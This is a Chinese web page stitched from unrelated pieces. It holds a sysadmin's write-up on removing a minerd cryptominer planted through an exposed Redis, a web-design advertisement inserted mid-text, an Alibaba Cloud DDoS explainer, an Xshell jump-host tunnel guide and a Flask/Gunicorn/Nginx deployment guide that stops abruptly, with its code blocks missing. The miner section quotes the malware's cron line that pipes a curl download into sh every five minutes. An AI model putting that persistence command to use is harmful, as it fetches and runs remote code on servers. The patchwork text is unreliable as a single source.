1. 關(guān)閉訪問挖礦服務(wù)器的訪問
站在用戶的角度思考問題,與客戶深入溝通,找到上高網(wǎng)站設(shè)計(jì)與上高網(wǎng)站推廣的解決方案,憑借多年的經(jīng)驗(yàn),讓設(shè)計(jì)與互聯(lián)網(wǎng)技術(shù)結(jié)合,創(chuàng)造個性化、用戶體驗(yàn)好的作品,建站類型包括:成都網(wǎng)站建設(shè)、網(wǎng)站設(shè)計(jì)、企業(yè)官網(wǎng)、英文網(wǎng)站、手機(jī)端網(wǎng)站、網(wǎng)站推廣、申請域名、網(wǎng)絡(luò)空間、企業(yè)郵箱。業(yè)務(wù)覆蓋上高地區(qū)。
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉執(zhí)行權(quán)限, 在沒有找到根源前,千萬不要刪除 minerd,因?yàn)閯h除了,過一回會自動有生成一個。
3. pkill minerd ,殺掉進(jìn)程
4. service stop crond 或者 crontab -r 刪除所有的執(zhí)行計(jì)劃
5. 執(zhí)行top,查看了一會,沒有再發(fā)現(xiàn)minerd 進(jìn)程了。
6.檢查/var/spool/cron/目錄下發(fā)現(xiàn)有個root用戶的定時器文件。
下載腳本的語句:
*/5 * * * * curl -fsSL | sh
病毒文件內(nèi)容如下,感興趣的可以研究下:
? View Code
解決minerd并不是最終的目的,主要是要查找問題根源,我的服務(wù)器問題出在了redis服務(wù)了,黑客利用了redis的一個漏洞獲得了服務(wù)器的訪問權(quán)限,然后就注入了病毒,下面是解決辦法和清除工作:
1. 修復(fù) redis 的后門,
配置bind選項(xiàng), 限定可以連接Redis服務(wù)器的IP, 并修改redis的默認(rèn)端口6379.
配置AUTH, 設(shè)置密碼, 密碼會以明文方式保存在redis配置文件中.
配置rename-command CONFIG “RENAME_CONFIG”, 這樣即使存在未授權(quán)訪問, 也能夠給攻擊者使用config指令加大難度
好消息是Redis作者表示將會開發(fā)”real user”,區(qū)分普通用戶和admin權(quán)限,普通用戶將會被禁止運(yùn)行某些命令,如conf
2. 打開 ~/.ssh/authorized_keys, 刪除你不認(rèn)識的賬號
3. 查看你的用戶列表,是不是有你不認(rèn)識的用戶添加進(jìn)來。 如果有就刪除掉.
阿里云服務(wù)器能抗ddos嗎?可以抗多少流量的ddos?是部分擔(dān)心遭到DDOS攻擊的用戶比較關(guān)心的問題,因?yàn)榫W(wǎng)站遭遇到DDoS攻擊是很多用戶非常煩惱的事情,網(wǎng)站一旦遭到DDOS攻擊很容易導(dǎo)致網(wǎng)站無法訪問而又難以解決,阿里云服務(wù)器都有一定的DDoS基礎(chǔ)防護(hù),下面我們一起看看!
阿里云服務(wù)器能抗ddos嗎?
阿里云服務(wù)器根據(jù)地域和配置的不同,可以免費(fèi)抗一定流量的DDOS攻擊,但是超過初始黑洞觸發(fā)閾值就抗不了了,會進(jìn)入黑洞。
阿里云服務(wù)器可以抗多少流量的ddos?
用戶在購買阿里云服務(wù)器之后,云盾DDoS基礎(chǔ)防護(hù)會為用戶提供一定的DDoS基礎(chǔ)防護(hù),各個地域默認(rèn)初始黑洞觸發(fā)閾值如下表所示(單位:bps)。參考資料: DDOS防護(hù)
默認(rèn)的黑洞時長是2.5個小時,黑洞期間不支持解封。 實(shí)際黑洞時長視攻擊情況而定,從30分鐘到24小時不等。黑洞時長主要受以下因素影響:
從以上信息,我們可以知道,阿里云服務(wù)器根據(jù)地域和配置的不同,可以免費(fèi)抗一定流量的DDOS攻擊,但是超過初始黑洞觸發(fā)閾值就抗不了了,會進(jìn)入黑洞,因此,如果DDOS流量過大,還是需要用戶自己采取一些措施或者付費(fèi)買DDOS防護(hù)等產(chǎn)品。 點(diǎn)此進(jìn)入阿里云DDoS防護(hù)服務(wù) :獲取更高的帶寬清洗能力并將防御前置到網(wǎng)絡(luò)邊緣。包含DDoS高防(新BGP)、DDoS高防(國際)、DDoS原生防護(hù)、游戲盾等
作為用戶,我們應(yīng)該如何防止云服務(wù)器被DDOS?
我們在使用阿里云服務(wù)器的時候,我給出幾個建議。
1、掛cdn隱藏IP,在換成新的ip后,請務(wù)必掛cdn對真實(shí)的ip進(jìn)行隱藏。參考資料: 阿里云CDN-內(nèi)容分發(fā)網(wǎng)絡(luò)-CDN網(wǎng)站加速
2、cdn還可以不止套一層,可以多層一起嵌套。
3、準(zhǔn)備多個服務(wù)器做反向代理(配置可以不高能運(yùn)行nginx就行,最好是那種空路由時間短的),每個反向代理服務(wù)器都指向主服務(wù)器節(jié)點(diǎn),都綁定一個二級域名,都掛上不同的cdn。
4、主域名可以隨時解析到任意一個反向代理服務(wù)器,并且可以掛免費(fèi)的云監(jiān)控來實(shí)時知曉狀態(tài),一個節(jié)點(diǎn)死了改解析就行。
5、在防火墻層面禁止所有的國外ip(這是大部分肉雞主要來源),可以很好的降低攻擊流量。
以上是比較簡單,低成本的方法,如果錢多的話,建議購買阿里云高防IP和高防CDN等防御產(chǎn)品,這樣針對不同場景不同的環(huán)節(jié)也有針對性的防御方案。
小菜運(yùn)維僅僅只是一位菜鳥運(yùn)維
廢話不多說,小菜運(yùn)維最近又完成了一套外包項(xiàng)目開發(fā),現(xiàn)在準(zhǔn)備將項(xiàng)目部署到甲方購買的阿里云服務(wù)器上。因?yàn)榧追绞羌瘓F(tuán)型大企業(yè),又有自己的運(yùn)維團(tuán)隊(duì),很多規(guī)章制度比較規(guī)范,部署的時候要求通過跳板機(jī)/堡壘機(jī)登錄阿里云內(nèi)網(wǎng)ECS。雖然說跳板機(jī)很有必要也應(yīng)該這樣做,但奈何愿意這樣做的客戶是少之又少,這次是撞上大客戶啦!
小菜運(yùn)維平時都是使用的Xshell、Xftp管理服務(wù)器,這次通過跳板機(jī)登錄內(nèi)網(wǎng)ECS時不斷輸入密碼,還不能直連內(nèi)網(wǎng)ECS上傳文件,操作了幾次小菜運(yùn)維就忍不住要口吐芬芳了,終于決定用Xshell的隧道來徹底解決一下這個效率低下、重復(fù)體力勞動的問題了!
Xshell的隧道轉(zhuǎn)發(fā)類型共有三種,這里我們不展開介紹各自的應(yīng)用場景,大家可以自行了解,我們這里選用的是Dynamic,可以實(shí)現(xiàn)自動連接內(nèi)網(wǎng)ECS,也可直接連接FTP,但是前提是必須先連接跳板機(jī)建立起隧道,然后再連接內(nèi)網(wǎng)ECS
隧道類型:
Local(Outgoing)
Dynamic(SOCKS4/5)
Remote(Incoming)
1. 連接跳板機(jī)
1.1 建立到跳板機(jī)的會話
Xshell選擇新建會話,點(diǎn)擊左側(cè) 連接 ,在 常規(guī) 欄依次填入會話名稱、跳板機(jī)IP、跳板機(jī)端口,然后依次完成 用戶身份驗(yàn)證 、 登錄腳本 設(shè)置,這里需要強(qiáng)調(diào)的一點(diǎn)是,務(wù)必記得設(shè)置 登錄腳本 以保證隧道的長連接,避免因隧道的斷開而導(dǎo)致后續(xù)其他遠(yuǎn)程目標(biāo)機(jī)器的連接失敗,具體操作如下圖:
1.2 建立跳板機(jī)隧道
在上一步的對話框中,繼續(xù)點(diǎn)擊左側(cè) 隧道 - 添加 ,在彈出的轉(zhuǎn)移規(guī)則對話框中完成規(guī)則設(shè)置,這里要強(qiáng)調(diào)的是 源主機(jī) 是指你當(dāng)前建立隧道連接的本地機(jī)器,一般填入 localhost 或 127.0.0.1 即可,而 目標(biāo)主機(jī) 則是指你要遠(yuǎn)程連接的遠(yuǎn)程服務(wù)器,具體配置信息如下圖:
2. 建立遠(yuǎn)程主機(jī)連接
2.1 建立到遠(yuǎn)程主機(jī)的會話
Xshell選擇新建會話,點(diǎn)擊左側(cè) 連接 ,在 常規(guī) 欄依次填入會話名稱、本機(jī)/本地IP、本機(jī)/本地監(jiān)聽端口,然后依次完成 用戶身份驗(yàn)證 設(shè)置,這里需要強(qiáng)調(diào)的一點(diǎn)是,務(wù)必記得這里設(shè)置的連接主機(jī)地址 1.2 中設(shè)置轉(zhuǎn)移規(guī)則時填寫的 源主機(jī) 地址,而不是遠(yuǎn)程服務(wù)器的IP地址,同樣的,這里設(shè)置的端口號也是 1.2 中設(shè)置轉(zhuǎn)移規(guī)則時填寫的 偵聽端口 ,但是 用戶身份驗(yàn)證 需要填寫遠(yuǎn)程服務(wù)器的用戶信息。具體操作如下圖:
3. SSH/SFTP到遠(yuǎn)程服務(wù)器
自動連接遠(yuǎn)程服務(wù)器的前提是先連接到跳板機(jī)/堡壘機(jī),然后再連接到遠(yuǎn)程服務(wù)器。
在Xshell中雙擊已建好的到堡壘機(jī)的會話,待成功完成登錄后,再雙擊已建好的到遠(yuǎn)程服務(wù)器的會話,這時我們可以看到Xshell自動實(shí)現(xiàn)了登錄遠(yuǎn)程服務(wù)器操作,這時在Xshell已登錄的遠(yuǎn)程服務(wù)器頁面,點(diǎn)擊頂部工具欄的 新建文件傳輸 按鈕,Xshell將自動打開Xftp并自動登錄遠(yuǎn)程服務(wù)器的Xftp文件管理頁面;
1. 連接跳板機(jī)
1.1 建立到跳板機(jī)的會話
這里和 Local(Outgoing)方式 的步驟完全相同,可參照之前步驟操作。
1.2 建立跳板機(jī)隧道
這里和 Local(Outgoing)方式 的區(qū)別在于轉(zhuǎn)移規(guī)則的配置,具體配置信息如下圖:
2. 建立遠(yuǎn)程主機(jī)連接
2.1 建立到遠(yuǎn)程主機(jī)的會話
這里和 Local(Outgoing)方式 的區(qū)別在于主機(jī)和端口號的配置,這里的主機(jī)和端口號都是配置的遠(yuǎn)程服務(wù)器的, 用戶身份驗(yàn)證 同樣還是需要填寫遠(yuǎn)程服務(wù)器的用戶信息。具體操作如下圖:
2.2 建立到遠(yuǎn)程主機(jī)會話的代理
在上一步 2.1 建立到遠(yuǎn)程主機(jī)的會話 的對話框左側(cè),點(diǎn)擊 代理 ,然后瀏覽并添加代理服務(wù)器,這里我們代理服務(wù)器設(shè)置的就是本地機(jī)器,要注意的是這里 代理服務(wù)器的監(jiān)聽端口必須和1.2中隧道轉(zhuǎn)移規(guī)則設(shè)置的偵聽端口保持一致 ,具體配置如下圖:
3. SSH/SFTP到遠(yuǎn)程服務(wù)器
這里和 Local(Outgoing)方式 的步驟完全相同,可參照之前步驟操作。
基于隧道可以簡化很多體力操作,感覺起來就好像堡壘機(jī)不存在一樣,實(shí)際操作中推薦使用 Dynamic(SOCKS4/5)方式 ,因?yàn)镈ynamic(SOCKS4/5)方式對于跳板機(jī)后有多臺遠(yuǎn)程服務(wù)器需要連接的場景只需要配置一次隧道和代理,之后就可以直接添加到遠(yuǎn)程服務(wù)器的會話就可以了;而 Local(Outgoing)方式 則需要為每一臺遠(yuǎn)程服務(wù)器添加一個單獨(dú)的隧道才可以。
如果按照以上步驟操作仍然不能正常訪問,那么……建議你聯(lián)系你的堡壘機(jī)管理員,可能是堡壘機(jī)帳號/憑據(jù)/權(quán)限等的設(shè)置沒有給足你權(quán)限。
附-參考文檔:
阿里云·堡壘機(jī)
阿里云·透明代理
當(dāng)我們執(zhí)行下面的hello.py時,使用的flask自帶的服務(wù)器,完成了web服務(wù)的啟動。在生產(chǎn)環(huán)境中,flask自帶的服務(wù)器,無法滿足性能要求,我們這里采用Gunicorn做wsgi容器,來部署flask程序。Gunicorn(綠色獨(dú)角獸)是一個Python WSGI的HTTP服務(wù)器。從Ruby的獨(dú)角獸(Unicorn )項(xiàng)目移植。該Gunicorn服務(wù)器與各種Web框架兼容,實(shí)現(xiàn)非常簡單,輕量級的資源消耗。Gunicorn直接用命令啟動,不需要編寫配置文件,相對uWSGI要容易很多。
區(qū)分幾個概念 :
WSGI:全稱是Web Server Gateway Interface(web服務(wù)器網(wǎng)關(guān)接口),它是一種規(guī)范,它是web服務(wù)器和web應(yīng)用程序之間的接口。它的作用就像是橋梁,連接在web服務(wù)器和web應(yīng)用框架之間。
uwsgi:是一種傳輸協(xié)議,用于定義傳輸信息的類型。
uWSGI:是實(shí)現(xiàn)了uwsgi協(xié)議WSGI的web服務(wù)器。
我們的部署方式: nginx + gunicorn + flask
web開發(fā)中,部署方式大致類似。簡單來說,前端代理使用Nginx主要是為了實(shí)現(xiàn)分流、轉(zhuǎn)發(fā)、負(fù)載均衡,以及分擔(dān)服務(wù)器的壓力。Nginx部署簡單,內(nèi)存消耗少,成本低。Nginx既可以做正向代理,也可以做反向代理。
正向代理 :請求經(jīng)過代理服務(wù)器從局域網(wǎng)發(fā)出,然后到達(dá)互聯(lián)網(wǎng)上的服務(wù)器。
特點(diǎn) :服務(wù)端并不知道真正的客戶端是誰。
反向代理 :請求從互聯(lián)網(wǎng)發(fā)出,先進(jìn)入代理服務(wù)器,再轉(zhuǎn)發(fā)給局域網(wǎng)內(nèi)的服務(wù)器。
特點(diǎn) :客戶端并不知道真正的服務(wù)端是誰。
區(qū)別 :正向代理的對象是客戶端。反向代理的對象是服務(wù)端。
查看命令行選項(xiàng) : 安裝gunicorn成功后,通過命令行的方式可以查看gunicorn的使用信息。
直接運(yùn)行 :
指定進(jìn)程和端口號 : -w: 表示進(jìn)程(worker)。 -b:表示綁定ip地址和端口號(bind)。--access-logfile:表示指定log文件的路徑
作為守護(hù)進(jìn)程后臺運(yùn)行 :
阿里云服務(wù)器默認(rèn)安裝到 /user/sbin/ 目錄,進(jìn)入目錄,啟動 ngnix:
Ubuntu 上配置 Nginx 也是很簡單,不要去改動默認(rèn)的 nginx.conf 只需要將/etc/nginx/sites-available/default文件替換掉就可以了。
新建一個 default 文件,添加以下內(nèi)容:
修改完成后重啟nginx即可。
Ubuntu 上配置 Nginx 另一種方法,cd 到 /etc/nginx/conf.d 文件夾,新建 xxx.conf 文件(xxx 可以是項(xiàng)目名,只要是 .conf 文件即可),寫入以下內(nèi)容:
需要監(jiān)聽 https 請求時,寫入以下內(nèi)容: